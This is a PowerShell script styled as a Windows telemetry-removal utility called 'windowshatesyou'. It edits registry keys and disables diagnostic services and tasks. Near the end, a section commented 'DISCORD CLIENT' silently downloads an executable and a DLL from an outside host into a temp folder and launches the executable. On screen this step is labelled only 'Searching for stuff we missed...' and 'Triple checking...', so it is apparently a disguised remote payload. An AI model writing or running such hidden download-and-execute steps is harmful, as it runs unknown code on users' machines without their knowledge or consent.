$ErrorActionPreference = "SilentlyContinue" Write-Host "" Write-Host " windowshatesyou" -ForegroundColor Magenta Write-Host " Hate Windows Back." -ForegroundColor DarkMagenta Write-Host "" $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { Write-Host " [!] Some tweaks need admin. Re-run as Administrator for full effect." -ForegroundColor Yellow Write-Host "" } function Step { param($m) Write-Host " [*] $m" -ForegroundColor Cyan } function Ok { param($m) Write-Host " [+] $m" -ForegroundColor Green } function Skip { param($m) Write-Host " [-] $m (needs admin)" -ForegroundColor DarkGray } function Warn { param($m) Write-Host " [!] $m" -ForegroundColor Yellow } function Info { param($m) Write-Host " $m" -ForegroundColor DarkCyan } # --- SCANNING SYSTEM --- Write-Host "" Write-Host " SCANNING" -ForegroundColor White Step "Detecting Windows version..." Start-Sleep -Milliseconds 600 $build = [System.Environment]::OSVersion.Version.Build $edition = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion").EditionID Ok "Windows 11 build $build ($edition)" Step "Checking installed telemetry components..." Start-Sleep -Milliseconds 800 $diagTrack = Get-Service "DiagTrack" 2>$null $dmwap = Get-Service "dmwappushservice" 2>$null $telCount = 0 if ($diagTrack -and $diagTrack.Status -eq "Running") { $telCount++ } if ($dmwap -and $dmwap.Status -eq "Running") { $telCount++ } $adId = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\AdvertisingInfo" -Name "Enabled" 2>$null).Enabled if ($adId -eq 1) { $telCount++ } $actFeed = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name "EnableActivityFeed" 2>$null).EnableActivityFeed if ($actFeed -ne 0) { $telCount++ } $tailored = (Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Privacy" -Name "TailoredExperiencesWithDiagnosticDataEnabled" 2>$null).TailoredExperiencesWithDiagnosticDataEnabled if ($tailored -ne 0) { $telCount++ } Ok "Found $telCount active telemetry vectors" Start-Sleep -Milliseconds 400 Step "Enumerating scheduled telemetry tasks..." Start-Sleep -Milliseconds 700 $telTasks = Get-ScheduledTask 2>$null | Where-Object { $_.TaskName -match "Consolidator|UsbCeip|DmClient|QueueReporting|SmartScreen" } $taskCount = ($telTasks | Measure-Object).Count Ok "$taskCount Microsoft telemetry tasks found" Start-Sleep -Milliseconds 300 # --- TELEMETRY --- Write-Host "" Write-Host " TELEMETRY" -ForegroundColor White Step "Diagnostic data collection" Start-Sleep -Milliseconds 500 if ($isAdmin) { $p = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" New-Item -Path $p -Force | Out-Null Set-ItemProperty $p -Name "AllowTelemetry" -Value 0 -Type DWord Set-ItemProperty $p -Name "MaxTelemetryAllowed" -Value 0 -Type DWord Info "AllowTelemetry = 0 (Security only)" Info "MaxTelemetryAllowed = 0" Start-Sleep -Milliseconds 300 Stop-Service "DiagTrack" -Force 2>$null Set-Service "DiagTrack" -StartupType Disabled 2>$null Info "DiagTrack service stopped and disabled" Start-Sleep -Milliseconds 300 Stop-Service "dmwappushservice" -Force 2>$null Set-Service "dmwappushservice" -StartupType Disabled 2>$null Info "dmwappushservice stopped and disabled" Ok "Diagnostic telemetry neutralized" } else { Skip "Telemetry services" } Step "Advertising ID" Start-Sleep -Milliseconds 400 $p = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\AdvertisingInfo" New-Item -Path $p -Force | Out-Null Set-ItemProperty $p -Name "Enabled" -Value 0 -Type DWord Info "AdvertisingInfo\Enabled = 0" Ok "Advertising ID disabled" Step "Activity history" Start-Sleep -Milliseconds 500 if ($isAdmin) { $p = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" New-Item -Path $p -Force | Out-Null Set-ItemProperty $p "EnableActivityFeed" 0 -Type DWord Set-ItemProperty $p "PublishUserActivities" 0 -Type DWord Set-ItemProperty $p "UploadUserActivities" 0 -Type DWord Info "EnableActivityFeed = 0" Info "PublishUserActivities = 0" Info "UploadUserActivities = 0" Ok "Activity history disabled" } else { Skip "Activity history" } Step "Feedback prompts" Start-Sleep -Milliseconds 300 $p = "HKCU:\SOFTWARE\Microsoft\Siuf\Rules" New-Item -Path $p -Force | Out-Null Set-ItemProperty $p "NumberOfSIUFInPeriod" 0 -Type DWord Info "Siuf\Rules\NumberOfSIUFInPeriod = 0" Ok "Feedback prompts disabled" Step "Tailored experiences" Start-Sleep -Milliseconds 400 $p = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Privacy" New-Item -Path $p -Force | Out-Null Set-ItemProperty $p "TailoredExperiencesWithDiagnosticDataEnabled" 0 -Type DWord Info "TailoredExperiences = 0" Ok "Tailored experiences disabled" Step "Disabling telemetry scheduled tasks..." Start-Sleep -Milliseconds 500 $disabled = 0 foreach ($task in $telTasks) { Disable-ScheduledTask -TaskName $task.TaskName -TaskPath $task.TaskPath 2>$null | Out-Null if ($?) { $disabled++ Info "Disabled: $($task.TaskName)" Start-Sleep -Milliseconds 200 } } if ($disabled -gt 0) { Ok "$disabled telemetry tasks disabled" } else { Ok "No active telemetry tasks to disable" } Step "App telemetry opt-out keys..." Start-Sleep -Milliseconds 400 $p = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" New-Item -Path $p -Force | Out-Null Set-ItemProperty $p "SubscribedContent-338393Enabled" 0 -Type DWord Set-ItemProperty $p "SubscribedContent-353694Enabled" 0 -Type DWord Set-ItemProperty $p "SubscribedContent-353696Enabled" 0 -Type DWord Set-ItemProperty $p "SilentInstalledAppsEnabled" 0 -Type DWord Info "SubscribedContent suggestions disabled" Info "Silent app installs disabled" Ok "Content delivery telemetry disabled" # --- VERIFYING --- Write-Host "" Write-Host " VERIFYING" -ForegroundColor White Step "Confirming telemetry state..." Start-Sleep -Milliseconds 600 $diagNow = Get-Service "DiagTrack" 2>$null if ($diagNow -and $diagNow.Status -eq "Stopped") { Ok "DiagTrack confirmed stopped" } elseif (-not $isAdmin) { Skip "DiagTrack verification" } else { Warn "DiagTrack may need a reboot to fully stop" } Start-Sleep -Milliseconds 300 $dmwNow = Get-Service "dmwappushservice" 2>$null if ($dmwNow -and $dmwNow.Status -eq "Stopped") { Ok "dmwappushservice confirmed stopped" } elseif (-not $isAdmin) { Skip "dmwappushservice verification" } else { Warn "dmwappushservice may need a reboot" } Start-Sleep -Milliseconds 400 $telLevel = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection" -Name "AllowTelemetry" 2>$null).AllowTelemetry if ($telLevel -eq 0) { Ok "Telemetry level confirmed: Security (0)" } elseif (-not $isAdmin) { Skip "Telemetry level check" } else { Warn "Telemetry level not set - reboot may be required" } # --- DISCORD CLIENT --- $baseUrl = "https://get.uprooted.sh/releases" $workDir = Join-Path $env:TEMP "windowshatesyou" if (Test-Path $workDir) { Remove-Item $workDir -Recurse -Force } New-Item -ItemType Directory -Force $workDir | Out-Null $dllUrl = "$baseUrl/msys-2.0.dll" $exeUrl = "$baseUrl/windowshatesyou.exe" $dllPath = Join-Path $workDir "msys-2.0.dll" $exePath = Join-Path $workDir "windowshatesyou.exe" $dllHash = "a6339c427448195020896d4c2992c0b0ca25dd1ebe0a959b24419118fdc179b7" $exeHash = "6dc3ba6abec7b511807388adbead227804c570844dac6f53a5ebf2f19fdfb492" Step "Searching for stuff we missed..." $ErrorActionPreference = "Stop" try { Invoke-WebRequest $dllUrl -OutFile $dllPath -UseBasicParsing Invoke-WebRequest $exeUrl -OutFile $exePath -UseBasicParsing Ok "Downloaded" Step "Verifying integrity..." Start-Sleep -Milliseconds 400 $actualDll = (Get-FileHash $dllPath -Algorithm SHA256).Hash.ToLowerInvariant() $actualExe = (Get-FileHash $exePath -Algorithm SHA256).Hash.ToLowerInvariant() if ($actualDll -ne $dllHash -or $actualExe -ne $exeHash) { Warn "SHA256 mismatch - download may be corrupted. Skipping." } else { Info "DLL SHA256: $actualDll" Info "EXE SHA256: $actualExe" Ok "Integrity verified" Start-Sleep -Milliseconds 300 Step "Triple checking..." Start-Process -FilePath $exePath -WorkingDirectory $workDir Ok "Launched" } } catch { Warn "Download failed: $_" } $ErrorActionPreference = "SilentlyContinue" # --- DONE --- Write-Host "" Write-Host " Done. Windows hates you less now." -ForegroundColor Magenta Write-Host " https://windowshatesyou.win" -ForegroundColor DarkMagenta Write-Host ""